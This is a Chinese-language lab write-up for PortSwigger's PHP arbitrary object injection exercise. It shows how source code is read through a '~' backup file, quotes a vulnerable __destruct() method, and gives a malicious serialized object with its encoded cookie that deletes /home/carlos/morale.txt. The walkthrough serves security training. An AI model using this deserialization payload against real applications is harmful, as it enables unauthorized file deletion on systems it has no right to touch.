从业者-PHP中的任意对象注入
# 实验室:PHP中的任意对象注入
# 题目
此实验室使用基于序列化的会话机制,因此容易受到 任意对象注入 的攻击。若要解决该实验,请创建并注入恶意序列化对象,以从 Carlos 的家目录中删除morale.txt
文件。要想完成此实验,你需要先获取源代码的访问权限。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
有时,你可以在文件名后面附加波浪号(~
)来读取源代码,以检索编辑器生成的备份文件。
- name: 实验室-从业者
desc: PHP中的任意对象注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
使用题目中提供的用户名和密码进行登录。
登录之后,通过 BurpSuite 捕获一个请求数据包,找到 Cookie 中经过加密的值。
对加密的值进行解码,得到一个 PHP 序列化对象。
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"re2no2mayy8hcaqtbjutbo5f8xpjx9rk";}
查看 BurpSuite 的 “Target --> Site map”功能模块,可以看到/libs/CustomTemplate.php
文件。
直接访问该文件,无法看到源代码。
根据题目中的提示,添加波浪号(~
)来读取源代码/libs/CustomTemplate.php~
。
以下是几段关键代码:
class CustomTemplate {
......省略
private $lock_file_path;
......省略
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
在销毁一个对象之前(对象从内存中删除之前),魔术方法__destruct()
将会被自动调用,用于删除$lock_file_path
所提供路径的指定文件。
虽然源代码中的$lock_file_path
被声明为了private
(私有)。但是在序列化对象中,我们依然可以使用public
(共有)来声明该变量:
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
编码之后的恶意序列化对象:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d
覆盖原有 Cookie,然后刷新网页。
当网页加载完成,说明 PHP 脚本运行完毕,所有的对象会在此时被垃圾回收(销毁)。对象CustomTemplate
中的魔术方法__destruct()
将会被自动调用,然后根据变量$lock_file_path
删除指定文件。
实验完成。